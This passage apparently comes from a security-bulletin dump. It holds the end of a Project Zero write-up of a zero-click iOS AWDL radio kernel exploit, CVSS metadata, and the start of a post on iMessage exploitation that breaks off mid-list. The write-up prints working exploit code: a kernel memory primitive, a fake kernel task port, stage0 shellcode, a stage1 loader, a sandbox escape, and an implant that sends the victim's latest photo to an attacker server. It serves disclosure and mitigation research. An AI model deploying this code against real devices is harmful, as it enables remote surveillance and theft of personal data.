add the new element at the head of the queue's linked list if either of the two following checks pass:\n\n** \n**\n\n#### if ( this->max_elems_per_bucket == 0x1000000 || \n\n#### this->max_elems_per_bucket * this->num_buckets > this->count )\n\n** \n**\n\nIf these checks fail the enqueue method returns an error, but the processServiceResponseTLV method never checks this error. The reason we get a true memory leak here is because the peer_manager's response_fragments queue is created with max_elems_per_bucket set to 8, meaning that after 8 incomplete fragments have arrived no more will be enqueued. The service response code doesn't handle this case and the return value of lockEnqueue isn't checked. The code no longer has a pointer to the RequestDescriptor and it cannot be freed. This is in some ways convenient for the heap groom, but not at all convenient when we want to know the address of the allocation!\n\n# Fixing the memory leak, sort of...\n\nUsing the arbitrary write we can increase the queue limit to a much higher value, and now our code works and we can, with just a few frames, place controlled buffers of up to around 1000 bytes in kernel memory and find their addresses by parsing the queue structure . Here's the wrapper function for this functionality in the exploit:\n\n** \n**\n\n#### uint16_t kmem_leak_peer_id = 0;\n\n#### \n\n#### uint64_t\n\n#### copy_buffer_to_kmem(void* buf,\n\n#### size_t len,\n\n#### uint16_t kalloc_size,\n\n#### uint16_t offset) {\n\n#### struct ether_addr kmem_leak_peer = \n\n#### *(ether_aton(\"22:99:33:71:00:00\"));\n\n#### \n\n#### *(((uint16_t*)&kmem_leak_peer)+2) = kmem_leak_peer_id++;\n\n#### \n\n#### inject(RT(),\n\n#### WIFI(kl_parm.dst, kmem_leak_peer),\n\n#### AWDL(),\n\n#### SYNC_PARAMS(),\n\n#### SERV_PARAM(),\n\n#### SERV_RESP_KALLOCER(buf, len, kalloc_size, offset),\n\n#### HT_CAPS(),\n\n#### DATAPATH(kmem_leak_peer),\n\n#### PKT_END());\n\n#### \n\n#### uint64_t serv_resp_q = rk64(kl_parm.peer_manager_kaddr+0x2968);\n\n#### uint64_t buckets = rk64(serv_resp_q+0x48);\n\n#### uint64_t elem = rk64(buckets+0x8);\n\n#### uint64_t ptr = rk64(elem+0x40);\n\n#### \n\n#### return ptr;\n\n#### }\n\n# Giving shellcode kernel memory read/write\n\nWe're going to want our payload to be able to read and write kernel memory just like we already can remotely. The canonical way to do this is to give the code a send right to a task port representing the kernel task. There are some new mitigations around this in iOS 13 (and more in iOS 14) but they're easily worked around because we already have kernel read/write using a different primitive.\n\n** \n**\n\nWe find the real kernel vm_map, build a fake kernel task port object and task, ensuring the correct kalloc_zone magic values are in the right place, then use the upload primitive to place them in kernel memory and find the addresses:\n\n** \n**\n\n#### // build a fake kernel task:\n\n#### uint64_t kern_proc = 0xFFFFFFF00941B818 + kaslr_slide;\n\n#### uint64_t kern_task = rk64(kern_proc+0x10);\n\n#### uint64_t kern_map = rk64(kern_task+0x28);\n\n#### \n\n#### uint32_t fake_task_buf_size = 0x200;\n\n#### uint8_t* fake_task_buf = malloc(fake_task_buf_size);\n\n#### memset(fake_task_buf, 0, fake_task_buf_size);\n\n#### \n\n#### *(uint16_t*)(fake_task_buf+0x16) = 0x39; // zone index for tasks\n\n#### \n\n#### uint8_t* fake_task = fake_task_buf + 0x100;\n\n#### *(uint64_t*)(fake_task+0x000) = 0; // lck_mtx_data\n\n#### *(uint8_t*) (fake_task+0x00b) = 0x22; // lck_mtx_type\n\n#### *(uint32_t*)(fake_task+0x010) = 4; // ref_cnt\n\n#### *(uint32_t*)(fake_task+0x014) = 1; // active\n\n#### *(uint64_t*)(fake_task+0x028) = kern_map; // map\n\n#### \n\n#### uint64_t fake_task_buf_kaddr = copy_buffer_to_kmem(\n\n#### fake_task_buf,\n\n#### fake_task_buf_size,\n\n#### 0x8001,\n\n#### 0);\n\n#### \n\n#### uint64_t fake_task_kaddr = fake_task_buf_kaddr + 0x100;\n\n#### \n\n#### // build a fake kernel task port:\n\n#### uint64_t target_task_port = rk64(target_task + 0x108);\n\n#### uint64_t ipc_space_kernel = rk64(target_task_port + 0x60);\n\n#### \n\n#### uint32_t fake_port_buf_size = 0x200;\n\n#### uint8_t* fake_port_buf = malloc(fake_task_buf_size);\n\n#### memset(fake_port_buf, 0, fake_port_buf_size);\n\n#### \n\n#### *(uint16_t*)(fake_port_buf+0x16) = 0x2a; // zone index for ipc ports\n\n#### \n\n#### uint8_t* fake_port = fake_port_buf + 0x100;\n\n#### *(uint32_t*)(fake_port+0x000) = 0x80000000 | 2; // ip_bits *(uint32_t*)(fake_port+0x004) = 4; // ip_references\n\n#### *(uint64_t*)(fake_port+0x060) = ipc_space_kernel; // ip_receiver\n\n#### *(uint64_t*)(fake_port+0x068) = fake_task_kaddr; // ip_kobject\n\n#### *(uint32_t*)(fake_port+0x09c) = 1; // ip_mscount\n\n#### *(uint32_t*)(fake_port+0x0a0) = 1; // ip_srights\n\n#### \n\n#### uint64_t fake_port_buf_kaddr = copy_buffer_to_kmem(\n\n#### fake_port_buf, \n\n#### fake_port_buf_size,\n\n#### 0x8001,\n\n#### 0);\n\n#### \n\n#### uint64_t fake_port_kaddr = fake_port_buf_kaddr + 0x100;\n\n** \n**\n\nWe then need the stage0 code to be able to use this fake port. [Canonically you would set this port as host special port 4](<https://www.theiphonewiki.com/wiki/Hgsp4_patch>), which the shellcode could then retrieve like this:\n\n** \n**\n\n#### host_get_special_port(host_priv_self(),\n\n#### HOST_LOCAL_NODE,\n\n#### 4,\n\n#### &kernel_task);\n\n** \n**\n\nThe issue is this requires a send right to the host_priv port, which the app we're injecting the shellcode into won't have. Jailbreaks sometimes work around this by making the regular host port into the host_priv port, but we don't want to do that as it also weakens some sandboxing primitives.\n\n** \n**\n\nOne option would be to add the port into the task's port namespace directly but this is a little fiddly. Instead, I chose to use a task special port. These are per-task ports, pointers to which are stored in the task struct:\n\n** \n**\n\n#### struct task {\n\n#### ...\n\n#### struct ipc_port *itk_host; /* a send right */\n\n#### struct ipc_port *itk_bootstrap; /* a send right */\n\n#### struct ipc_port *itk_seatbelt; /* a send right */\n\n#### struct ipc_port *itk_gssd; /* yet another send right */\n\n#### struct ipc_port *itk_debug_control; /* send right for debugmode communications */\n\n#### struct ipc_port *itk_task_access; /* and another send right */\n\n#### struct ipc_port *itk_resume; /* a receive right to resume this task */\n\n#### struct ipc_port *itk_registered[TASK_PORT_REGISTER_MAX];\n\n#### ...\n\n** \n**\n\nI chose to use task special port 7 which is the now unused TASK_SEATBELT_PORT itk_seatbelt.\n\n** \n**\n\nWe use our remote kernel read/write to write the fake kernel task pointer there:\n\n** \n**\n\n#### wk64(target_task+0x2e0, fake_port_kaddr);\n\n** \n**\n\nThen the stage0 shellcode just has to do:\n\n** \n**\n\n#### mach_port_t kernel_task = MACH_PORT_NULL;\n\n#### task_get_special_port(mach_task_self(), 7, &kernel_task);\n\n** \n**\n\nto get a send right to a functional kernel task port and gain local kernel memory read/write.\n\n# A shellcode framework: stage0\n\nWe're going to use the remote kernel memory read to find a victim process, traverse that victim process's page tables to find the physical address of a TEXT page (we'll use the first page of the binary). We'll then find the address of the mapping of that physical page in the physmap and use the remote kernel memory write to write a shellcode stub in there. We'll use the same fake-signal injection technique to force the victim process to jump to the start of our shellcode.\n\n** \n**\n\nSince our remote kernel memory write is relatively slow (dozens of bytes a second) we don't want to inject our entire payload this way, instead we'll split it into multiple stages with stage0 being the only stage injected in this way. stage0's only purpose is to bootstrap a second, larger stage1. Here's the assembly of stage0:\n\n** \n**\n\n#### .section __TEXT,__text\n\n#### ; save sigreturn context:\n\n#### mov x20, x4\n\n#### \n\n#### ; save sigreturn token:\n\n#### mov x21, x5\n\n#### \n\n#### ; retrieve tfp0\n\n#### sub sp, sp, #0x10\n\n#### ldr w0, task_self_name\n\n#### mov w1, #7 ; TASK_SEATBELT_PORT\n\n#### mov x2, sp\n\n#### ldr x8, task_get_special_port\n\n#### blr x8\n\n#### ldr w19, [sp] ; tfp0!\n\n#### \n\n#### ; read stage1 into userspace\n\n#### mov w0, w19\n\n#### ldr x1, stage1_kaddr\n\n#### ldr w2, stage1_size\n\n#### mov x3, sp\n\n#### add x4, sp, #0x08\n\n#### ldr x8, mach_vm_read\n\n#### blr x8\n\n#### \n\n#### ; write stage1 into physmap\n\n#### mov w0, w19\n\n#### ldr x1, stage1_physmap_kaddr\n\n#### ldp x2, x3, [sp]\n\n#### ldr x8, mach_vm_write\n\n#### blr x8\n\n#### \n\n#### ldr x0, stage1_uaddr\n\n#### mov w1, #0x4000\n\n#### ldr x8, sys_icache_invalidate\n\n#### blr x8 \n\n#### \n\n#### ; jump to stage1\n\n#### mov w0, w19 ; tfp0\n\n#### mov x1, x20 ; sigreturn context\n\n#### mov x2, x21 ; sigretun token\n\n#### \n\n#### ldr x8, stage1_uaddr\n\n#### blr x8\n\n#### \n\n#### task_self_name:\n\n#### .word 0x49494949 \n\n#### stage1_size:\n\n#### .word 0x43434343\n\n#### stage1_kaddr:\n\n#### .quad 0x4141414141414141\n\n#### mach_vm_read:\n\n#### .quad 0x4242424242424242\n\n#### stage1_physmap_kaddr:\n\n#### .quad 0x4646464646464646\n\n#### mach_vm_write:\n\n#### .quad 0x4747474747474747\n\n#### task_get_special_port:\n\n#### .quad 0x4848484848484848\n\n#### sys_icache_invalidate:\n\n#### .quad 0x4b4b4b4b4b4b4b4b\n\n#### stage1_uaddr:\n\n#### .quad 0x4a4a4a4a4a4a4a4a\n\n** \n**\n\nThis could probably be smaller but will do for a demo.\n\n** \n**\n\nAt the bottom are constants; they'll get replaced by the exploit code just before they get written into the physmap. The exploit knows the userspace ASLR shift so is able to replace them with the correct runtime symbol values.\n\n** \n**\n\nThe shellcode retrieves the send right to the fake kernel task port we placed as task special port 7, uses it to read stage1 and immediately write it to the physmap. The last thing it does is invalidate the instruction cache by calling sys_icache_invalidate then it jumps to stage1:\n\n# Stage1\n\nWriting assembly is fun, for a bit. We really want to run code written in C as soon as possible. With a bit of care it is possible to write shellcode in C. To make things as simple as possible for the loader we will have no external linkage (you can't directly call any library functions) and no global variables. We want a binary where we can extract the text and cstring sections, jump to the start of the text and it will run.\n\n** \n**\n\nWe do of course want to be able to call library functions which can be done with some macro hackery:\n\n** \n**\n\n#### #define F(name, ...) \\\n\n#### ((typeof(name)*)(_dlsym(RTLD_DEFAULT, #name)))(__VA_ARGS__)\n\n** \n**\n\nThis allows us to call arbitrary functions using a cstring of their name via dlsym, with the correct prototype. For example, varargs function will still work:\n\n** \n**\n\n#### F(printf, \"%s %d hello\\n\", foo, 123);\n\n** \n**\n\nFor this we will need one global variable; we don't want a data segment so we force it to be in __TEXT,__text:\n\n** \n**\n\n#### #define FSYM(name) \\\n\n#### typeof(name)* _##name __attribute__ ((section(\"__TEXT,__text\"))) = (void*)(0x4141414141414141);\n\n#### \n\n#### FSYM(dlsym);\n\n** \n**\n\nThis symbol will again be resolved by the exploit and replaced before stage1 is uploaded.\n\n** \n**\n\nWe define one more symbol, kdata, which we set to point to a configuration structure we also upload into the kernel heap somewhere. This configuration structure tells stage1 where to find the chunks which make up stage 2 so it can be rebuilt:\n\n** \n**\n\n#### struct kconf {\n\n#### uint64_t kaslr_slide;\n\n#### uint32_t kbuf_size;\n\n#### uint32_t n_text_fragments;\n\n#### uint64_t text_fragments[100];\n\n#### };\n\n** \n**\n\nHere's stage1:\n\n** \n**\n\n#### void\n\n#### start(mach_port_t tfp0,\n\n#### void* sigreturn_context,\n\n#### void* sigreturn_token) {\n\n#### F(asl_log, NULL, NULL, ASL_LEVEL_ERR, \"hello from stage1!\");\n\n#### \n\n#### // read kconf from data:\n\n#### struct kconf kc;\n\n#### mach_vm_size_t out_size;\n\n#### F(mach_vm_read_overwrite,\n\n#### tfp0,\n\n#### kdata,\n\n#### sizeof(struct kconf),\n\n#### (mach_vm_address_t)(&kc),\n\n#### (mach_vm_size_t*)(&out_size));\n\n#### \n\n#### // compute the total size of stage2:\n\n#### uint32_t total_size = kc.n_text_fragments*1024;\n\n#### \n\n#### // roundup:\n\n#### total_size += 0x3fff;\n\n#### total_size &= (~0x3fff);\n\n#### \n\n#### // allocate a buffer for stage2:\n\n#### mach_vm_address_t base;\n\n#### mach_port_t self = F(task_self_trap);\n\n#### F(mach_vm_allocate,\n\n#### self,\n\n#### &base,\n\n#### total_size,\n\n#### VM_FLAGS_ANYWHERE);\n\n#### \n\n#### // read each fragment into the right place\n\n#### for (uint32_t i = 0; i < kc.n_text_fragments; i++) {\n\n#### F(mach_vm_read_overwrite,\n\n#### tfp0,\n\n#### kc.text_fragments[i],\n\n#### 1024,\n\n#### base+(i*1024),\n\n#### &out_size);\n\n#### }\n\n#### \n\n#### // link _dlsym:\n\n#### uint64_t needle = 0x4141414141414141;\n\n#### volatile uint64_t* stage2_dlsym_addr = F(memmem,\n\n#### base,\n\n#### total_size,\n\n#### &needle,\n\n#### 8);\n\n#### \n\n#### *stage2_dlsym_addr = _dlsym;\n\n#### \n\n#### // set the protection:\n\n#### F(mach_vm_protect,\n\n#### self,\n\n#### base,\n\n#### total_size,\n\n#### 0,\n\n#### VM_PROT_READ | VM_PROT_EXECUTE);\n\n#### \n\n#### // jump to stage2:\n\n#### void (*stage2)(mach_port_t, void*) = base;\n\n#### stage2(tfp0, kdata);\n\n#### }\n\n** \n**\n\nWe have a bit more leeway with the size of stage1; it can be up to around 1000 bytes.\n\n** \n**\n\nIt reads the configuration structure from the kernel, allocates memory for the final payload then reads in each chunk to the right place, sets the page protection accordingly and jumps to the final payload.\n\n# Escaping the sandbox from the outside\n\nWe've now removed any size restrictions on our payload so are free to write more complex code. The first step is to unsandbox the process we've ended up in. We can do this by replacing our credential structure with that of a more privileged process:\n\n** \n**\n\n#### uint64_t kaslr_slide = r64(tfp0, kc+offsetof(struct kconf, kaslr_slide));\n\n#### \n\n#### pid_t our_pid = F(getpid);\n\n#### pid_t launchd_pid = 1;\n\n#### \n\n#### uint64_t our_proc = 0;\n\n#### uint64_t launchd_proc = 0;\n\n#### \n\n#### // allproc\n\n#### uint64_t proc = r64(tfp0, 0xFFFFFFF00941C940+kaslr_slide);\n\n#### \n\n#### for (int i = 0; i < 1024; i++) {\n\n#### pid_t pid = r32(tfp0, proc+0x68);\n\n#### if (pid == our_pid) {\n\n#### our_proc = proc;\n\n#### }\n\n#### if (pid == launchd_pid) {\n\n#### launchd_proc = proc;\n\n#### }\n\n#### \n\n#### if (launchd_proc && our_proc) {\n\n#### break;\n\n#### }\n\n#### \n\n#### proc = r64(tfp0, proc+0);\n\n#### } \n\n#### \n\n#### // get launchd's ucreds:\n\n#### uint64_t launchd_ucred = r64(tfp0, launchd_proc+0x100); // p_ucred\n\n#### \n\n#### // use them to unsandbox ourselves:\n\n#### w64(tfp0, our_proc+0x100, launchd_ucred);\n\n** \n**\n\nWe're still bound by the global [platform_profile sandbox](<http://newosxbook.com/files/HITSB.pdf>) but this is enough to grant access to almost all user data.\n\n# A minimal implant\n\nAt this point we basically have unfettered access to user data; we can read emails, private messages, photos, contacts, stream the camera and audio live and so on. I don't want to spend another month writing a fully-featured implant though so I decided to just steal the most recently taken photo:\n\n** \n**\n\nReading some mobile forensics websites we can see that iOS stores photos taken by the camera in /private/var/mobile/Media/DCIM/100APPLE.\n\n** \n**\n\nWe can use the unix readdir API to enumerate that directory and find the most recently created file with the extension .HEIC:\n\n** \n**\n\n#### #define timespec_cmp(a, b, CMP) \\\n\n#### ( ((a)->tv_sec == (b)->tv_sec) ? \\\n\n#### ((a)->tv_nsec CMP (b)->tv_nsec) : \\\n\n#### ((a)->tv_sec CMP (b)->tv_sec))\n\n#### \n\n#### struct dirent* ep;\n\n#### while (ep = F(readdir, dp)) {\n\n#### F(asl_log, NULL, NULL, ASL_LEVEL_ERR, ep->d_name);\n\n#### if (!F(strstr, ep->d_name, \".HEIC\")) {\n\n#### // only interested in photos taken by the camera\n\n#### continue;\n\n#### }\n\n#### char* fullpath;\n\n#### F(asprintf, &fullpath, \"%s/%s\", dirpath, ep->d_name);\n\n#### struct stat st;\n\n#### F(stat, fullpath, &st);\n\n#### if (timespec_cmp(&st.st_birthtimespec, &newest_timespec, >)) {\n\n#### newest_photo_path = fullpath;\n\n#### newest_timespec = st.st_birthtimespec;\n\n#### } else {\n\n#### F(free, fullpath);\n\n#### }\n\n#### }\n\n** \n**\n\nThen we just create a TCP socket, connect to a server we control and write the contents of that file to the socket:\n\n** \n**\n\n#### int sock = F(socket, PF_INET, SOCK_STREAM, 0);\n\n#### struct sockaddr_in addr = {0};\n\n#### addr.sin_family = PF_INET;\n\n#### addr.sin_port = htons(1234);\n\n#### addr.sin_addr.s_addr = F(inet_addr, \"10.0.1.2\");\n\n#### \n\n#### int conn_err = F(connect,sock, &addr, sizeof(addr));\n\n#### if (conn_err) {\n\n#### F(asl_log, NULL, NULL, ASL_LEVEL_ERR, \"connect failed\");\n\n#### F(sleep, 1000);\n\n#### }\n\n#### \n\n#### size_t photo_size = 0;\n\n#### char* photo_buf = load_file(newest_photo_path, &photo_size);\n\n#### \n\n#### F(write,sock, photo_buf, photo_size);\n\n#### F(close, sock);\n\n# Process continuation\n\nstage0 saved the sigreturn context and token which can now be used to let this thread continue safely. A real implant could now continue running in a separate thread and perform the necessary cleanup in the kernel to ensure AWDL can be safely disabled and the implant can continue to run in the background. For us this is where the journey ends.\n\n# End-to-end demo\n\n \n\n\n### This demo shows the attacker successfully exploiting a victim iPhone 11 Pro device located in a different room through a closed door. The victim is using the Youtube app. The attacker forces the AWDL interface to activate then successfully exploits the AWDL buffer overflow to gain access to the device and run an implant as root. The implant has full access to the user's personal data, including emails, photos, messages, keychain and so on. The attacker demonstrates this by stealing the most recently taken photo. Delivery of the implant takes around two minutes, but with more engineering investment there's no reason this prototype couldn't be optimized to deliver the implant in a handful of seconds.\n\n# Conclusion\n\nMy exploit is pretty rough around the edges. With some proper engineering and better hardware, once AWDL is enabled the entire exploit could run in a handful of seconds. There are likely also better techniques for getting AWDL enabled in the first place rather than the hash bruteforce. My goal was to build a compelling demo of what can be achieved by one person, with no special resources, and I hope I've achieved that.\n\n** \n**\n\nThere are further aspects I didn't cover in this post: AWDL can be remotely enabled on a locked device using the same attack, as long as it's been unlocked at least once after the phone is powered on. The vulnerability is also wormable; a device which has been successfully exploited could then itself be used to exploit further devices it comes into contact with.\n\n** \n**\n\nThe inevitable question is: But what about the next silver bullet: memory tagging (MTE)? Won't it stop this from happening?\n\n** \n**\n\nMy answer would be that Pointer Authentication was also pitched as ending memory corruption exploitation. When push came to shove, to actually ship a legacy codebase like the iOS kernel with Pointer Authentication, the primitives built using it and inserted by the compiler had to be watered down to such an extent that any competent attacker should have been able to modify their exploits to work around them. Undoubtedly this would have forced some extra work and probably some vulnerabilities were no longer as useful, but it's hard to quantify the true impact without knowing what vulnerabilities these attackers were also sitting on in preparation for exactly this eventuality. Pointer authentication shouldn't have come as a shock to any exploit developer, it had been expected for years.\n\n** \n**\n\nSimilarly, the ARM 8.5 specification containing the definitions of the Memory Tagging instructions has been [publicly available for the last two years](<https://community.arm.com/developer/ip-products/processors/b/processors-ip-blog/posts/arm-a-profile-architecture-2018-developments-armv85a>), that's plenty of time for attackers to prepare with publicly available information. It's reasonable to expect that top tier attacker groups also have insider/private information as well.\n\n** \n**\n\nThe implementation compromises on the software side which will be required to ship memory tagging will be different to those required for Pointer Authentication, but they will be there. Many mitigations built with MTE will be probabilistic in nature; will that be enough? And what about all the code constructs which might lead to bypasses? Nobody is going to check and rewrite every raw pointer cast in their codebase. Will the team responsible for performance accept the overhead of requiring every freed allocation to be zeroed? What about all the custom allocators? What about shared memory? What about intra-struct buffer overflows (like this AWDL vulnerability)? What about javascript? What about logic bugs and speculative side channels?\n\n** \n**\n\nWe know nothing about what primitives Apple might build with memory tagging, but we do have some insight from [Microsoft, who published a detailed analysis of the tradeoffs](<https://github.com/microsoft/MSRC-Security-Research/blob/master/papers/2020/Security%20analysis%20of%20memory%20tagging.pdf>) they are facing with their implementation. Sharing such information with the security community helps enormously in understanding those tradeoffs. Memory tagging will probably make some vulnerabilities unexploitable, just like Pointer Authentication probably did. But to quantify the true impact requires an estimate of the impact it has on the entire space of vulnerabilities, and it's in this estimate where the defensive and offensive communities differ. As things currently stand, there are probably just too many good vulnerabilities for any of these mitigations to pose much of a challenge to a motivated attacker. And, of course, mitigations only present in future hardware don't benefit the billions of devices already shipped and currently in use.\n\n** \n**\n\nThese mitigations do move the bar, but what do I think it would take to truly raise it?\n\n** \n**\n\nFirstly, a long-term strategy and plan for how to modernize the enormous amount of critical legacy code that forms the core of iOS. Yes, I'm looking at you [vm_map.c](<https://github.com/apple/darwin-xnu/blob/master/osfmk/vm/vm_map.c>), originally written in 1985 and still in use today! Let's not forget that PAC is still not available to third-party apps so memory corruption in a third party messaging app followed by a vm_map logic bug is still going to get an attacker everything they want for probably years after MTE first ships.\n\n** \n**\n\nSecondly, a short-term strategy for how to improve the quality of new code being added at an ever-increasing rate. This comes down to more investment in modern best practices like broad, automated testing, code review for critical, security sensitive code and high-quality internal documentation so developers can understand where their code fits in the overall security model. \n\n** \n**\n\nThirdly, a renewed focus on vulnerability discovery using more than just fuzzing. This means not just more variant analysis, but a large, dedicated effort to understand how attackers really work and beat them at their own game by doing what they do better.\n\n \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.2}, "published": "2020-12-01T00:00:00", "type": "googleprojectzero", "title": "\nAn iOS zero-click radio proximity exploit odyssey\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.4, "vectorString": "AV:N/AC:L/Au:N/C:N/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 9.2, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4407", "CVE-2020-3843", "CVE-2020-9906"], "modified": "2020-12-01T00:00:00", "id": "GOOGLEPROJECTZERO:DC5C56AD10221A86E949EAE9E75DC0DB", "href": "https://googleprojectzero.blogspot.com/2020/12/an-ios-zero-click-radio-proximity.html", "cvss": {"score": 9.4, "vector": "AV:N/AC:L/Au:N/C:N/I:C/A:C"}}, {"lastseen": "2023-06-07T02:00:37", "description": "Posted by Samuel Gro\u00df, Project Zero \n \nThis is the third and last post in a series about a remote, interactionless iPhone exploit over iMessage. The [first blog post](<https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-1.html>) introduced the exploited vulnerability, and the [second blog post](<https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-2.html>) described a way to perform a heapspray, leaking the shared cache base address.\n\n** \n**\n\nAt this point, ASLR has been broken as the shared cache\u2019s base address is known and controlled data can be placed at a known address with the heap spray. What remains is to exploit the vulnerability one more time to gain code execution.\n\n** \n**\n\nAfter a short introduction to some relevant ObjC internals, an exploit for devices without pointer authentication (PAC) will be outlined. It involves creating code pointers, so it no longer works with pointer authentication enabled. Afterwards, a different exploit that works against PAC and non-PAC devices will be presented. Finally, a technique to chain the presented attack with a kernel exploit, which involves implementing the kernel exploit in JavaScript, will be shown.\n\n## Objective-C for the Remote Code Executer\n\n** \n**\n\nObjC is a superset of C which has object oriented programming features added. ObjC adds, amongst others, the concepts of objects, classes with methods and properties, and inheritance to the language. Most objects in ObjC ultimately inherit from [NSObject](<https://developer.apple.com/documentation/objectivec/nsobject?language=objc>), the root object class. A simple snippet of ObjC code is shown next. It creates and initializes an instance of a Class, then calls a method on the instance.\n\n** \n**\n\nBob* bob = [[Bob alloc] init];\n\n[bob doSomething];\n\n** \n**\n\nObjC relies heavily on reference counting for managing the lifetime of objects. As such, every object has a refcount, either [inline as part of the ISA word](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-private.h#L93>) (see below) or out of line in a [global table](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/NSObject.mm#L201>). Code that operates on an object then has to perform [objc_retain](<https://developer.apple.com/documentation/objectivec/1418956-nsobject/1571946-retain?language=objc>) and [objc_release](<https://developer.apple.com/documentation/objectivec/1418956-nsobject/1571957-release?language=objc>) calls on the object. These must either be placed manually by the programmer or are inserted automatically by the compiler if [automatic reference counting (ARC)](<https://en.wikipedia.org/wiki/Automatic_Reference_Counting>) is enabled.\n\n** \n**\n\nInternally, an [object in ObjC](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-private.h#L127>) is a chunk of memory (usually allocated through calloc) that always starts with an [\u201cISA\u201d value](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-private.h#L59>) followed by instance variables/properties. The ISA value is a pointer-sized value containing the following information:\n\n * A pointer to the Class of which this object is an instance\n\n * An inline reference counter\n\n * A few additional flag bits\n\n** \n**\n\nAn [ObjC Class](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-runtime-new.h#L1012>) describes its instances, but it is also an ObjC object itself. As such, Classes in ObjC are not only a compile time concept but also exist at runtime, enabling introspection and reflection. A Class contains the following bits of information:\n\n * The ISA word (as it is an Objc Object itself), pointing to a dedicated metaclass\n\n * A pointer to the superclass if any\n\n * A method cache to speed up method implementation lookups\n\n * The method table\n\n * The list of instance variables (name and offset) that each instance has\n\n** \n**\n\nA [Method](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-runtime-new.h#L207>) in ObjC is basically a tuple:\n\n** \n**\n\n([Selector](<https://developer.apple.com/documentation/objectivec/sel?language=objc>), [Implementation](<https://developer.apple.com/documentation/objectivec/objective-c_runtime/imp?language=objc>)) \n\n** \n**\n\nwhere the Selector is a unique c-string containing the name of the method and the Implementation is a pointer to the native function implementing the method. \n\n** \n**\n\nWith that, here is roughly what happens when the following piece of ObjC code from above is compiled and executed: first, at compile time, the three ObjC method calls are translated to the following pseudo-C code (assuming ARC is enabled):\n\n** \n**\n\nBob* bob = objc_msgSend(BobClass, \"alloc\");\n\n// Refcount is already 1 at this point, so no need for a objc_retain()\n\nbob = objc_msgSend(bob, \"init\");\n\nobjc_msgSend(bob, \"doSomething\");\n\n...\n\nobjc_release(bob);\n\n** \n**\n\nAt runtime, [objc_msgSend](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/Messengers.subproj/objc-msg-arm64.s#L252>) will then roughly do the following:\n\n** \n**\n\n 1. Dereference the object pointer to retrieve the ISA value and extract the Class pointer from it in turn\n\n 2. Perform a [lookup for the requested method implementation](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-runtime-new.mm#L4657>) in the Class\u2019 method cache. This is done by essentially hashing the selector\u2019s address to obtain a table index, then comparing the entry\u2019s selector with the requested one\n\n 3. If that fails, continue to look up the method in the method table\n\n 4. If a method Implementation was found, it is (tail-) called and passed any additional arguments that were passed to objc_msgSend. Otherwise an exception is raised.\n\n** \n**\n\nNote that since selectors are guaranteed to be unique by the ObjC runtime, comparison of two selectors is possible simply by comparing the pointer values. \n\n** \n**\n\n[objc_release](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/NSObject.mm#L1505>) on the other hand will [decrement the object\u2019s refcount](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-object.h#L464>) (assuming no custom retain/release has been implemented for the object by overwriting the corresponding methods).\n\nIf decrementing the object\u2019s refcount sets it to zero, it [invokes](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-object.h#L571>) the [dealloc method](<https://developer.apple.com/documentation/objectivec/nsobject/1571947-dealloc>) (the destructor of the object) and then frees the object\u2019s memory chunk.\n\n** \n**\n\nFurther information about ObjC internals can be found [here](<http://www.phrack.org/issues/66/4.html#article>), [here](<http://www.phrack.org/issues/69/9.html#article>), and in the [source](<https://github.com/opensource-apple/objc4>)/[binary](<https://ipsw.me/>) code.\n\n## Native Code Execution on non-PAC Devices\n\n** \n**\n\nGiven the above insights into the ObjC runtime internals and the capabilities gained from the second part of this series, it is now possible to implement a simple exploit to gain native code execution on devices without pointer authentication (PAC), namely the iPhone X and earlier.\n\n** \n**\n\nShown next is the code fragment from [NSSharedKeySet indexForKey:] which reads the candidate value from an address of the attacker\u2019s choosing (as _keys is nullptr and index is controlled) and processes it. \n\n** \n**\n\n 1. id candidate = self->_keys[index];\n\n 2. if (candidate != nil) {\n\n 3. if ([key isEqual:candidate]) {\n\n 4. return prevLength + index;\n\n 5. }\n\n 6. }\n\n** \n**\n\nIf the key is a NSString, then one of the first things that [NSString isEqual:] will do with the given argument is calling [arg isNSString__] on it (see the implementation of [NSString isEqual:] in Foundation.framework). As such, native code execution can be achieved in the following way:\n\n** \n**\n\n 1. Perform the heap spray as described in part 2. The heap spray should contain a fake object pointing to a fake class containing a fake method cache with an entry for the method \u2018isNSString__\u2019 with a controlled IMP pointer. The heap spray should also contain a pointer to the fake object\n\n 2. Trigger the vulnerability to read that pointer and have it be passed to [key isEqual:]. This will in turn invoke \u2018isNSString__\u2019 on the faked object, thus pointing the instruction pointer to an address of the attacker\u2019s choosing\n\n 3. Perform 